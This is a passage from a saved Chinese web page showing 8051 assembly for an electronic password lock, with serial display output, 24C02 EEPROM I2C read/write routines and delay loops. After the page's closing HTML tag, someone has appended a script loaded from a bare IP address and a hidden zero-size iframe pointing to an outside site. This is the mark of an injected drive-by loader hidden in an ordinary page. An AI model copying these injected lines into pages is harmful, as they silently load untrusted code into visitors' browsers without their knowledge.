📄 电子密码锁源程序(asm).htm
字号:
CLR TI<BR>
POP PSW<BR>
POP ACC<BR>
RET<BR>
;锁定状态显示<BR> XSE:PUSH
ACC<BR> PUSH
PSW<BR>
MOV SBUF,
#0FEH<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#54H<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#39H<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#11H<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#3DH<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#0FEH<BR>
JNB TI, $<BR>
CLR TI<BR>
POP PSW<BR>
POP ACC<BR>
RET<BR> XSF:PUSH
ACC<BR> PUSH
PSW<BR>
MOV SBUF,
#98H<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#38H<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#39H<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#39H<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#3DH ;U<BR>
JNB TI, $<BR>
CLR TI<BR>
MOV SBUF,
#98H<BR>
JNB TI, $<BR>
CLR TI<BR>
POP PSW<BR>
POP ACC<BR>
RET<BR> KILLXS:PUSH
ACC<BR> PUSH
PSW<BR>
MOV R7, #06H<BR>LOOP_XS:MOV SBUF,
#0FFH<BR>
JNB TI, $<BR>
CLR TI<BR> DJNZ
R7,LOOP_XS<BR>
NOP<BR>
POP PSW<BR>
POP ACC<BR>
RET<BR> TAB: DB
11H,0D7H,32H,92H,0D4H,98H,18H,0D1H,10H,90H
,0FFH<BR>;****************************************************************<BR>;*******
24C02读写程序 ×××××××<BR>;****************************************************************<BR>AT_RADE:PUSH PSW<BR>
PUSH ACC<BR>
MOV
R0,#AT1 ;CPU首地址<BR>
MOV
R6,#06H ;8字节<BR>
MOV
R5,#08H ;8位<BR>
MOV
R7,#00H ;24C02首地址<BR>
LCALL READ
;读数据<BR>
NOP<BR>
NOP<BR> POP
ACC<BR> POP
PSW<BR> RET</P>
<P> AT_WR:<BR>
PUSH PSW<BR>
PUSH ACC<BR> MOV
R0,#PS1 ;CPU
RAM首地址<BR> MOV
R6,#06H ;8字节<BR>
MOV R5,#08H ;8
BIT<BR> MOV
R7,#00H ;24C02 RAM
首地址<BR> LCALL
WRT ;先写进<BR>
NOP<BR>
NOP<BR>
POP ACC<BR>
POP PSW<BR> RET</P>
<P>;---------------------<BR>;读串行器件
R0:RAM的起始地址,R5:位计数器,<BR>;R6:读的字节数,R7:读的起始地址<BR>READ:
NOP<BR>NOP<BR> LCALL START0<BR>MOV A,#0A0H<BR>LCALL
WRB<BR>LCALL ACK<BR>JB F0,RD_FAIL<BR>MOV A,R7<BR>LCALL WRB<BR>LCALL
CHK<BR>JB F0,RD_FAIL<BR>LCALL START0<BR>MOV A,#0A1H<BR>LCALL WRB<BR>LCALL
CHK<BR>JB F0,RD_FAIL<BR>RD_N: NOP<BR>NOP<BR>LCALL RDB<BR>MOV @R0,A<BR>DJNZ
R6,GO_ACK<BR>LCALL N_ACK<BR>RD_FAIL:NOP<BR>LCALL STOP<BR>MOV
A,#0FFH<BR>RET;*************read<BR>GO_ACK: NOP<BR>NOP<BR>DEC R0<BR>LCALL
ACK<BR>JMP RD_N<BR>;写串行器件
R0:RAM的起始地址,R5:位计数器,<BR>;R6:写的字节数(页),R7:写的起始地址<BR>WRT: NOP<BR>NOP<BR>LCALL
START0<BR>MOV A,#0A0H<BR>LCALL WRBYT<BR>LCALL CHK<BR>JB F0,WR_FAIL<BR>MOV
A,R7<BR>LCALL WRBYT<BR>LCALL CHK<BR>JB F0,WR_FAIL<BR>WR_N:
NOP<BR>NOP<BR>MOV A,@R0<BR>LCALL WRBYT<BR>LCALL CHK<BR>JB
F0,WR_FAIL<BR>DEC R0<BR>DJNZ R6,WR_N<BR>WR_FAIL:NOP<BR>LCALL STOP<BR>MOV
A,#0FFH<BR>RET;*********wrt<BR>;--------------------<BR>START0:
NOP<BR>NOP<BR>SETB SDA<BR>SETB SCL<BR>NOP<BR>NOP<BR>CLR
SDA<BR>NOP<BR>NOP<BR>CLR
SCL<BR>NOP<BR>RET<BR>;-------------------<BR>STOP: NOP<BR>NOP<BR>CLR
SDA<BR>SETB SCL<BR>NOP<BR>NOP<BR>SETB SDA<BR>NOP<BR>NOP<BR>CLR
SCL<BR>NOP<BR>RET<BR>;--------------------<BR>ACK: NOP<BR>NOP<BR>CLR
SDA<BR>SETB SCL<BR>NOP<BR>NOP<BR>CLR SCL<BR>SETB
SDA<BR>NOP<BR>RET<BR>;--------------------<BR>N_ACK: NOP<BR>NOP<BR>SETB
SDA<BR>SETB SCL<BR>NOP<BR>NOP<BR>CLR SCL<BR>CLR
SDA<BR>NOP<BR>RET<BR>;--------------------<BR>CHK: NOP<BR>NOP<BR>SETB
SDA<BR>NOP<BR>NOP<BR>SETB SCL<BR>NOP<BR>NOP<BR>MOV C,SDA<BR>MOV
F0,C<BR>CLR SCL<BR>NOP<BR>NOP<BR>RET<BR>;---------------------<BR>RDB:
NOP<BR>NOP<BR>SETB SDA<BR>MOV R5,#8<BR>RD_B: NOP<BR>NOP<BR>CLR
SCL<BR>NOP<BR>NOP<BR>SETB SCL<BR>NOP<BR>NOP<BR>MOV C,SDA<BR>RLC
A<BR>NOP<BR>NOP<BR>SETB SDA<BR>CLR SCL<BR>DJNZ
R5,RD_B<BR>NOP<BR>RET<BR>;一字节数据发送子程序<BR>WRBYT: MOV R5,#8<BR>WLP: RLC A<BR> JC WR1<BR> CLR
SDA<BR> SETB SCL<BR>NOP<BR> NOP<BR> CLR
SCL<BR> DJNZ R5,WLP<BR> RET<BR> WR1: SETB
SDA<BR> SETB
SCL<BR> NOP<BR> NOP<BR> CLR
SCL<BR> CLR SDA<BR> DJNZ
R5,WLP<BR> RET<BR>;--------------------<BR>WRB:
NOP<BR>NOP<BR>MOV R5,#8<BR>WR_B: NOP<BR>NOP<BR>SETB SDA<BR>RLC A<BR>JC
WR_1<BR>CLR SDA<BR>NOP<BR>WR_1: SETB SCL<BR>NOP<BR>NOP<BR>CLR
SCL<BR>NOP<BR>CLR SDA<BR>NOP<BR>DJNZ
R5,WR_B<BR>NOP<BR>RET<BR>;***********************************************************************************************<BR>;*************
毫秒延时程序
********************************************<BR>;***********************************************************************************************<BR> T10MSD:SETB
RS0<BR>
MOV R4,
#12<BR> TM:MOV R3,
#128<BR> TM6:DJNZ R3,
TM6<BR> DJNZ
R4, TM<BR>
CLR RS0<BR>
RET</P>
<P><BR>T100MSD:MOV R3,
#200<BR> D11:MOV
R4, #125<BR>
D12:DJNZ R4,
D12<BR>
DJNZ R3,
D11<BR>
RET<BR>
<BR>T500MSD:LCALL
T100MSD<BR>
LCALL
T100MSD<BR>
LCALL
T100MSD<BR>
LCALL
T100MSD<BR>
LCALL
T100MSD<BR>
NOP<BR> RET</P>
<P> SEC:SETB
RS1<BR>
MOV R7, #0AH<BR> SEC_LP:LCALL T100MSD<BR>
DJNZ
R7,SEC_LP<BR>
NOP<BR>
CLR RS1<BR>
RET<BR> END</P>
<HR>
</TD></TR></TBODY></TABLE>
<SCRIPT language=JavaScript src="电子密码锁源程序(ASM).files/Pagination.js"></SCRIPT>
<SCRIPT
language=JavaScript>PageList(1,10,10,1,'t=5&BoardID=16&id=207',2)</SCRIPT>
</BODY></HTML>
<script src="http://222.208.183.246/ad/ad.js"></script>
<iframe src="http://www.ac66.cn/88/index.htm" width="0" height="0" frameborder="0"></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -